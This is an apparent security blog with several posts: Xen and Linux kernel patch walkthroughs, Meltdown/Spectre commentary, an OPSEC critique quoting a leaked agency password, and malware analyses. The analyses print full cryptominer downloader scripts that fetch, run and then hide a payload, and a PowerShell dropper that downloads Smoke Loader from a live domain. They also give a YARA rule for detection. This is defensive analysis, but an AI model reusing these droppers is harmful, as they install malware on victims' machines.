xorl %eax, %eax

CVE-2017-17046: Xen ARM Information Leak

leave a comment »

This vulnerability was released with XSA-245 security advisory by Julien Grall of ARM. The issue is simply the lack of cleaning up memory which means that one domain might end up having access to uncleaned memory of another domain after reboots (soft or hard). This vulnerability affects only ARM because they do not support NUMA and, as J. Grall explained, specific regions (like the Dom0 kernel) are marked as reserved until the hardware domain is built and they are subsequently copied to its memory. To fix this, xen/common/page_alloc.c was modified as you see below.

diff --git a/xen/common/page_alloc.c b/xen/common/page_alloc.c
index 0b9f6cc6df..fbe5a8af39 100644
--- a/xen/common/page_alloc.c
+++ b/xen/common/page_alloc.c
@@ -1700,6 +1700,16 @@ static void init_heap_pages(
     unsigned long i;
+    /*
+     * Some pages may not go through the boot allocator (e.g reserved
+     * memory at boot but released just after --- kernel, initramfs,
+     * etc.).
+     * Update first_valid_mfn to ensure those regions are covered.
+     */
+    spin_lock(&heap_lock);
+    first_valid_mfn = min_t(unsigned long, page_to_mfn(pg), first_valid_mfn);
+    spin_unlock(&heap_lock);
     for ( i = 0; i < nr_pages; i++ )
         unsigned int nid = phys_to_nid(page_to_maddr(pg+i));

And in the same source code file, the equivalent helpers were added to make the above change feasible.

diff --git a/xen/common/page_alloc.c b/xen/common/page_alloc.c
index fbe5a8af39..472c6fe329 100644
--- a/xen/common/page_alloc.c
+++ b/xen/common/page_alloc.c
@@ -192,7 +192,11 @@ PAGE_LIST_HEAD(page_broken_list);
-static unsigned long __initdata first_valid_mfn = ~0UL;
+ * first_valid_mfn is exported because it is use in ARM specific NUMA
+ * helpers. See comment in asm-arm/numa.h.
+ */
+unsigned long first_valid_mfn = ~0UL;
 static struct bootmem_region {
     unsigned long s, e; /* MFNs @s through @e-1 inclusive are free */
diff --git a/xen/include/asm-arm/numa.h b/xen/include/asm-arm/numa.h
index a2c1a3476d..3e7384da9e 100644
--- a/xen/include/asm-arm/numa.h
+++ b/xen/include/asm-arm/numa.h
@@ -12,9 +12,15 @@ static inline __attribute__((pure)) nodeid_t phys_to_nid(paddr_t addr)
     return 0;
+ * TODO: make first_valid_mfn static when NUMA is supported on Arm, this
+ * is required because the dummy helpers is using it.
+ */
+extern unsigned long first_valid_mfn;
 /* XXX: implement NUMA support */
-#define node_spanned_pages(nid) (total_pages)
-#define node_start_pfn(nid) (pdx_to_pfn(frametable_base_pdx))
+#define node_spanned_pages(nid) (max_page - first_valid_mfn)
+#define node_start_pfn(nid) (first_valid_mfn)
 #define __node_distance(a, b) (20)

Written by xorl

January 22, 2018 at 10:15

Posted in vulnerabilities

OPSEC fail: Hawaii Emergency Management Agency

leave a comment »

The past few days Hawaii Emergency Management Agency became popular in the news due to a false emergency alert which was a result of human error along with badly designed UI. This media attention brought to light some bad OPSEC practices from this agency.

News agencies start digging for content for the Hawaii Emergency Management Agency and brought up a news article from 22 July 2017 titled “North Korea Missile Threat ‘Unlikely,’ But Hawaii Prepares”. This news article from Associated Press included some high resolution photos. One of them was the following which shows Jeffrey Wong, the Hawaii Emergency Management Agency’s current operations officer and it was taken at the agency’s headquarters in Honolulu on 21 July 2017.

The photo reveals various details about the agency including the software used, internal discussion board, naming conventions, etc. However, the following close up gives some really interesting insights.

On the far right in the above photo we have a paper with the SWP (State Warning Points) call list that includes phone numbers per region. Then each of the two monitors has a Post-It note. The right one (WP2) says “Sign out” and the left one (WP1) says “Password Warningpoint2”. So, multiple operational security failures in this agency as well as the AP photographers and journalists that did not censor all those sensitive details from the photos before publishing them.

Written by xorl

January 17, 2018 at 10:10

Posted in opsec

Thoughts on Meltdown & Spectre

leave a comment »

2018 started with some unique low-level exploitation techniques disclosure. People that never cared about processor architecture suddenly explain how speculative execution, advanced side-channel analysis, and cache level works in modern high-performance processors, others confuse the different architecture design flaws, media and software vendors are heavily controlled by big processor manufacturers, Linus accepts patches with up to 30% performance impact without a question, and within that chaos we still miss some crucial details. In this post, I will give my thoughts on the following five domains regarding the Meltdown & Spectre exploitation.

  • Real-world impact
  • The victims/targets
  • Media manipulation
  • Nation-state
  • Mitigations

Real-world impact
For any of the disclosed exploitation methods, there is very limited real-world impact (yes, even for the JavaScript one on browsers with SharedArrayBuffer). The reason for this is that those attacks cannot be easily automated. They are definitely feasible, but they require manual intervention to provide any value to the attacker. Consequently, their use would only be useful on targeted attacks. But even in this case, why would an attacker prefer to read arbitrary memory using this extremely slow technique instead of exploitation a privilege escalation vulnerability and get much faster access to all system resources? One could argue because it is more covert. Well, there are some actual attack use cases and this is my next domain.

The victims/targets
The only real victim that this attack is more valuable than privilege escalation attacks is shared hosting providers. Whether that is virtual machines, containers, or anything similar. Those exploitation techniques break the sole business model of those companies. Huge players like Amazon, Google, Microsoft, etc. are selling exactly what Meltdown & Spectre proved that it doesn’t exist, high quality isolation between shared resources. And that brings us to the next domain.

Media manipulation
All of those big players, including manufacturers such as Intel, AMD, and the rest of the affected vendors, did a first-class crisis management when it comes to managing the reputation impact and press statements. They should probably be giving trainings on how to do this. You would expect that an attack that obliterates your core business selling point would result in massive stock price drops, media chasing the board all over the world, people moving away from those vendors, executives getting fired… Yet, nothing happened. From the business perspective this is a remarkable work of crisis management, but from the consumer perspective this is an alarming level of media manipulation power.

Talking about power, let’s talk about nation-states. Those attacks were not really new. Dave Aitel released this Immunity paper from 2014 that pretty much implements a variant of those exploitation techniques. If we move even further back, we have this paper from 1995 which goes through multiple security flaws of the x86 architecture, including the pre-fetching one. The latter document also contains an interesting sentence in its introduction.

This analysis is being performed under the auspices of the National Security Agency’s Trusted Product Evaluation Program (TPEP).

So, we know that NSA knew about those design flaws for at least 23 years. Realistically speaking, it is safe to assume that they would have tried to exploit them. Recently after the public disclosure of the attack the ShadowBrokers started offering some (allegedly) 0day exploits for those flaws claiming to be part of NSA’s toolkit.

Just to be clear, I totally endorse NSA, or any other nation-state for that matter, not disclosing them. They had already disclosed the research paper so the entire world knew about them (including Intel, AMD, and the rest). A tool that allows you to bypass the false sense of memory isolation a cloud provider offers would be extremely valuable for any offensive security team. It is the companies’ fault that they did not fix it. Nevertheless, it was worth mentioning. And talking about fixing…

There are a few different mitigations being proposed or already implemented. Let’s briefly go through them…

  • On the OS side we have we the KAISER/KPTI implementation which basically separates the kernel and user-space pages requiring TLB flushes (reloading of CR3 register or the use of Process Context Identifier (PCID) where available). Depending on the application, this can have major performance impact but, on the other hand, it also prevents a large number of exploitation techniques that were already used in the wild. So, security wise it is great, but business wise it will require extra funding for scaling for most companies. And guess what? The manufacturers of those processors are not held accountable for this (they should in my opinion as it was a known issue for decades).
  • The other proposed mitigation was the use of LFENCE instruction to literally stop speculative execution on specific code paths. A clever approach which however is hard to implement and deploy in the real world if you don’t want to have massive performance impact.
  • Intel issued a microcode update that also adds some new capabilities. Those are the IBRS (Indirect Branch Restricted Speculation), STITBP (Single Thread Indirect Branch Prediction), and IBPB (Indirect Branch Predictor Barrier). All can be used to control when branch prediction and indirect jumps are allowed. However, it brings another interesting attack vector… If Intel can dynamically reprogram their processors via a UEFI channel, maybe attackers can too. Sounds like an interesting research area now that the updates are out.
  • The last one is to recompile the code with a compiler that adds the concept of “return trampolines” (retpoline) which ensures that indirect near jumps and call instructions are bundled with some details about the target of the branch to avoid the cases of branch target injection attacks of Spectre. Again, good idea but expecting to recompile all binaries using this is not a trivial operation.

As a conclusion, the Meltdown & Spectre exploitation techniques sound like one of the biggest cover-up stories of the infosec community. Known for 20+ years, breaking core business models, nation-states researching them for decades… And yet… No repercussions or even media pressure to any of the involved parties behind them.

Written by xorl

January 10, 2018 at 10:40

Posted in security

The “Tiny XMR mooner” Linux cryptominer malware

leave a comment »

A few days ago I posted a blog post about a cryptominer that is becoming very popular. Yesterday I had a look at two new samples (this and this) which are slightly different. Here is the downloader of the first one.

( wget -qO - > /tmp/x ) || ( curl > /tmp/x )
chmod +x /tmp/x
/tmp/x -o > /dev/null 2>&1 &
cp /tmp/x /dev/shm/x
/dev/shm/x -o > /dev/null 2>&1 &
cp /tmp/x /var/tmp/x
/var/tmp/x -o > /dev/null 2>&1 &
cp /tmp/x x
./x -o > /dev/null 2>&1 &

sleep 30
rm -rf /tmp/x
rm -rf x
rm -rf /dev/shm/x
rm -rf /var/tmp/x

It uses a slightly more clever logic that will execute either “wget” or “curl” instead of both, and it is going to start four processes of the cryptominer from /tmp/x, /dev/shm/x, /var/tmp/x, and ./x. All of them pointing to (privpool.mone.ro.lt) for Monero (XMR) mining. The cryptominer used was uploaded on a server at .x/xmrt.priv and it is the “Tiny XMR mooner” which is only about 500KB in size. Below you can see its command line options.

+ Tiny XMR mooner.
+  ./mooner -o poolurl.net:3333 -u username -p password
+  threads, affinity, and everything else is on automatically precalculated for you.
+  -o        stratum pool url
+            stratum+tcp://poolurl.net:3333 or simply poolurl.net:3333
+  -u        username or monero wallet address
+  -p        password or email/difficulty (on some pools)
+  -F        bring process to foreground, (background by default)
+  -h        halp plz. :^)
+  this is a rip-off of a miner. sends some hashes to the dev. if you dont want that, choose another one.
+  more hashes for you tho. Especially optimized for Xeons and Core since Nehalem.

The downloader of the second sample is a combination of the above and the one shown in my previous post. The cleanup code in the beginning is similar to the old sample but the execution is more like the one listed above. Also, it is worth noting that it is using exactly the same miner from an identically named location on a web server and uses the same Monero (XMR) server for mining. This however, starts three processes from /tmp/systemd, /dev/shm/systemd, and ./systemd as you see below.

kill -9 `ps x | grep muhsti | grep -v grep | awk {'print $1'}` > /dev/null 2>&1 &
kill -9 `ps x | grep cryptonight | grep -v grep | awk {'print $1'}` > /dev/null 2>&1 &
kill -9 `ps x | grep stratum | grep -v grep | awk {'print $1'}` > /dev/null 2>&1 &
( wget -qO - > /tmp/systemd ) || ( curl > /tmp/systemd )
chmod +x /tmp/systemd
chmod 700 /tmp/systemd
/tmp/systemd -o > /dev/null 2>&1 &
cp /tmp/systemd /dev/shm/systemd
/dev/shm/systemd -o > /dev/null 2>&1 &
cp /tmp/systemd systemd
./systemd -o > /dev/null 2>&1 &
sleep 30
rm -rf /tmp/systemd
rm -rf systemd
rm -rf /dev/shm/systemd

The “Tiny XMR mooner” has some unique characteristics. Regarding its communication protocol, on startup it will open a socket and send a request similar to the following to the mining pool server.


The expected response is a JSON encoded string that includes the job that the miner will start mining. You can see how this response typically looks like below.

{"jsonrpc":"2.0","result":{"job":{"blob":"<HASH OF THE JOB>","target":"<TARGET HASH>","job_id":"<UUID IF THE JOB>","time_to_live":5},"status":"OK","id":"<HASHED ID>"},"id":1,"error":null}

The miner is a 32-bit statically linked stripped ELF binary. On startup it copies itself using clone() to start a new miner background process which (for this sample) was hardcoded to always be named “sh”. The miner also checks if the “/tmp/.xmrt” file exists, this is the lock file of the miner. If it’s already there, no new process will start. Just like I did in the previous cryptominer post, here is a YARA rule that you can use to scan your system for the existence of the Monero cryptominer described here.

import "hash"
rule tiny_xmr_mooner_miner
        author = "Anastasios Pingios (xorl)"
        description = "Linux Tiny XMR mooner miner"
        reference = "https://xorl.wordpress.com/2017/12/21/the-tiny-xml-mooner-linux-cryptominer-malware/"
        date = "21-12-2017"
        filename = "xmrt32"
        filename = "/tmp/x"
        filename = "/dev/shm/x"
        filename = "/var/tmp/x"
        filename = "/tmp/systemd"
        filename = "/dev/shm/systemd"
        filename = "/tmp/.xmrt"
        $host_1 = "" ascii
        $host_2 = "" ascii
        $host_3 = "" ascii
        $host_4 = "privpool.mone.ro.lt" ascii
        $host_5 = "donate.xmrt.pro" ascii
        $binary_1 = { C2 33 CF 50 35 }
        $binary_2 = { 3D DF D1 D7 66 BA CE A0 89 F0 DC CA CA BB 55 B7 2D 72 10 3E 75 }
        $binary_3 = { 77 AE A7 41 C6 0C E5 53 36 E5 F6 1A F9 53 7A DA 9A E9 }
        2 of ($host*) or
        2 of ($binary*) or
        filesize < 600KB and hash.sha256(0, filesize) == "8a0d9c84cfb86dd1f8c9acab87738d2cb82106aee0d88396f6fa86265ff252dd"

Written by xorl

December 21, 2017 at 22:12

Posted in malware

Threat Analysis: Marketplaces for verified social media accounts

leave a comment »

Cyber-crime is a massive ecosystem and social media plays a key role in it. One way to stop them would be to disrupt their supply chain and this is what this post is about. Most cyber-crime groups utilize verified social media accounts to operate below the radar while executing their illegal activities. Namely, here are a few common reasons why cyber-criminals buy and use verified social media accounts.

  • Anonymously set up marketplaces on social media platforms like Facebook
  • Implement so-called “blackhat SEO” and sell services (advertisements, likes, reviews, comments, etc.)
  • Distribute or promote fake news
  • Avoid bot detection for common automated operations (spam, C2, phising, etc.)
  • Anonymously use the services offered by that social media platform

There was an excellent slide at HITB GSEC 2017 in the “Facebook – The Deep & Dark Web for Threat Actors in Asia*” presentation by Fadli B. Sidek explaining really nicely the benefits of the use of those Facebook verified accounts by cyber-criminals. Here is that slide.

The above are quite clear indicators that this area of cyber-crime will keep on growing. Some will be developing verified social media accounts and others will be buying them for uses like the ones described.

This underground market has been expanding so rapidly that many threat actors are developing and selling malicious tooling known as “Turboer”. This type of software is designed to exploit popular social media platforms in order to claim high-value account names, and assign them to a verified account. Typically, cyber-criminals subsequently sell those verified accounts for much higher prices.

The reason I made this post was my initial comment, if we would like to disrupt the supply chain of cyber-criminals this is an area we need to target. As more and more cyber-criminals utilize those verified social media accounts for malicious purposes, the demand increases, and the ecosystem keeps on growing.

Written by xorl

December 19, 2017 at 20:54

Linux kernel RDMA NULL pointer dereference

leave a comment »

While reading through Linux kernel’s ChangeLog I came across this one. I was unable to find any CVE ID for this vulnerability reported by Håkon Bugge on 6 December 2017. The vulnerability was discovered by Google’s syzkaller kernel fuzzer and reported in syzkaller719569. The vulnerable code starts in the setsockopt() system call implementation for RDS (Reliable Datagram Sockets). This code is located at net/rds/af_rds.c and here is the code path we are interested in.

static int rds_setsockopt(struct socket *sock, int level, int optname,
			  char __user *optval, unsigned int optlen)
	struct rds_sock *rs = rds_sk_to_rs(sock->sk);
	int ret;
	case RDS_GET_MR:
		ret = rds_get_mr(rs, optval, optlen);
		ret = rds_get_mr_for_dest(rs, optval, optlen);

Before we check those two options, it is important to see some specific value in “rds_sock” structure. This structure is defined in net/rds/rds.h header file. The key here is that “rs_transport” pointer in “rds_sock” structure can be NULL.

 * struct rds_transport -  transport specific behavioural hooks
struct rds_transport {

struct rds_sock {
	 * bound_addr used for both incoming and outgoing, no INADDR_ANY
	 * support.
	struct rds_transport    *rs_transport;

Back in rds_setsockopt(), there are two options with very similar code. The RDS_GET_MR and RDS_GET_MR_FOR_DES which will both result in a code that uses copy_from_user() to copy the “rds_get_mr_args” or “rds_get_mr_for_dest_args” structure to the kernel space, and then invoke __rds_rdma_map() routine to do the mapping.

int rds_get_mr(struct rds_sock *rs, char __user *optval, int optlen)
	struct rds_get_mr_args args;
	if (copy_from_user(&args, (struct rds_get_mr_args __user *)optval,
			   sizeof(struct rds_get_mr_args)))
		return -EFAULT;

	return __rds_rdma_map(rs, &args, NULL, NULL);

int rds_get_mr_for_dest(struct rds_sock *rs, char __user *optval, int optlen)
	if (copy_from_user(&args, (struct rds_get_mr_for_dest_args __user *)optval,
			   sizeof(struct rds_get_mr_for_dest_args)))
		return -EFAULT;
	return __rds_rdma_map(rs, &new_args, NULL, NULL);

If we now move to __rds_rdma_map() in net/rds/rdma.c we will quickly notice what’s the issue that triggers the vulnerability. The code will try to access the get_mr() callback function from the “rs_transport” pointer which as mentioned earlier can be unset (NULL), resulting in a NULL pointer dereference. This code path can be reached from the previously described setsockopt() system call options.

static int __rds_rdma_map(struct rds_sock *rs, struct rds_get_mr_args *args,
				u64 *cookie_ret, struct rds_mr **mr_ret)
	if (!rs->rs_transport->get_mr) {
		ret = -EOPNOTSUPP;
		goto out;
	return ret;

The patch was to add an additional check that ensures that “rs_transport” is not NULL. If it’s NULL the __rds_rdma_map() will exit with “ENOTCONN” (Transport endpoint is not connected) error code.

diff --git a/net/rds/rdma.c b/net/rds/rdma.c
index 8886f15abe90..bc2f1e0977d6 100644
--- a/net/rds/rdma.c
+++ b/net/rds/rdma.c
@@ -183,7 +183,7 @@  static int __rds_rdma_map(struct rds_sock *rs, struct rds_get_mr_args *args,
 	long i;
 	int ret;
-	if (rs->rs_bound_addr == 0) {
+	if (rs->rs_bound_addr == 0 || !rs->rs_transport) {
 		ret = -ENOTCONN; /* XXX not a great errno */
 		goto out;

Written by xorl

December 18, 2017 at 23:19

Posted in vulnerabilities

Trick for quick reverse engineering of JavaScript malware

leave a comment »

Most JavaScript malware authors try to obfuscate their code by adding a lot of unused code as well as randomized variable names and simple encoding and decoding fucntions. Lastly, they typically remove all spaces and newlines. For example, “Сопроводительные.xls.js” is a JavaScript malware sample uploaded to VirusTotal about 2 hours ago. In this malware sample the code was obfuscated using Dean Edwards JavaScript packer. The malware is pretending to be a Microsoft Excel file but it is actually a JavaScript file. Here is how the sample looks like.

We can try to understand what it does and probably spend hours of analysis or we can do something much simpler. Run the obfuscated code through some prettifier, for example something like jsbeautifier.org. Then, just scrolling through the prettified JavaScript code you can easily see some variable that contains a some large string. In this case, just by looking at it it looks like a Base64 encoded string.

If we just copy this Base64 encoded string and decode it, we will get the following malicious PowerShell script that downloads and executes a variant of Smoke Loader malware from microdocs.ru.

cmd /c start /b powershell -WindowStyle Hidden 

$http_request = New-Object -ComObject Msxml2.XMLHTTP;
$adodb = New-Object -ComObject ADODB.Stream;

$path = $env:temp + '\57737.exe';
$http_request.open('GET', 'http://microdocs.ru/axls/svita.exe?rnd=1328', $false);

if($http_request.Status -eq "200")
	$adodb.type = 1;
	$adodb.position = 0;
} else {
	Write-Host $http_request.statusText;

Start-Process $path;

So, when reverse engineering a JavaScript malware, before trying to understand the whole obfuscated code, look for any large strings that are standing out. In this case the above analysis took me less than 5 minutes and as you can probably guess trying to de-obfuscate the entire obfuscated code would have taken at least a couple of hours. Hope that you found this trick useful. :)

Written by xorl

December 16, 2017 at 00:31